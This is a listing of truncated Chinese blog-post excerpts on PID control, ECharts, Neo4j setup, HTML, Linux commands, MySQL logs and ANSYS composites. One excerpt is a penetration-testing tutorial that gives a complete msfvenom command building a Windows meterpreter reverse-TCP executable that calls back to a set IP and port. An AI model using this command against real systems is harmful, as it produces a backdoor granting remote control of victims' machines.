目录 概述 1 算法描述 1.1 PID算法模型 1.2 PID离散化的图形描述 1.3 PID算法的特点 2 离散化的PID算法 2.1 位置式PID算法 2.2 增量式PID算法 2.3 位置式PID与增量式PID比较 3 控制器参数整定 3.1 PID参数确定方法 3.1.1 凑试法 3.1.2 临界比例法 3.1.3 经验法…

ECharts 样式设置 引言 ECharts 是一款功能强大的可视化库，广泛用于数据可视化。样式设置是 ECharts 中的重要一环，它能够帮助开发者根据需求调整图表的视觉效果，使其更加美观和易于理解。本文将详细介绍 ECharts 的样式设置，包…

在住处电脑重新配置一下neo4j, 1.先至官方下载 Neo4j Desktop Download | Free Graph Database Download Neo4j Deployment Center - Graph Database & Analytics 2.配置java jdk jdk 21 官网下载 Java Downloads | Oracle 中国 path: 4.查看java -version 版本 5.n…

msfvenom 是攻击载荷（payload）生成器 格式： msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.110.32 LPORT4456 -f exe -o payload1.exe -p：指定需要使用的payload -f：指定输出格式 -o：保…

一、网页的组成 网页由三部分构成：HTML、JavaScript、CSS。 （1）HTML HTML 相当于网页的骨架，它通过使用标签来定义网页内容的结构。 举个例子： 它把图片标签为img、把视频标签为video，然后组合到一个界面…

Linux命令入门 ls命令 ls命令的作用是列出目录下的内容，语法细节如下: 1s[-a -l -h] [Linux路径] -a -l -h是可选的选项 Linux路径是此命令可选的参数 当不使用选项和参数,直接使用ls命令本体,表示:以平铺形式,列出当前工作目录下的内容 ls命令的选项 -a -a选项&a…

目录 日志 错误日志 二进制日志 查询日志 慢查询日志 主从复制 日志 日志：是记录数据库操作和事务的文件，主要用于帮助数据库管理员(DBA)跟踪、恢复数据以及进行故障排查，日志是MySQL数据库管理中非常重要的一部分，常见的日…

概括 本篇博文介绍了 ANSYS Composite PrepPost (ACP) 缠绕向导。此工具允许仅使用几个条目自动定义高压罐中常见的悬垂复合结构。 ACP 绕线向导 将必要的信息输入到绕组向导中。重要的是要注意“参考半径”，它代表圆柱截面的半径，以及“轴向”&#x…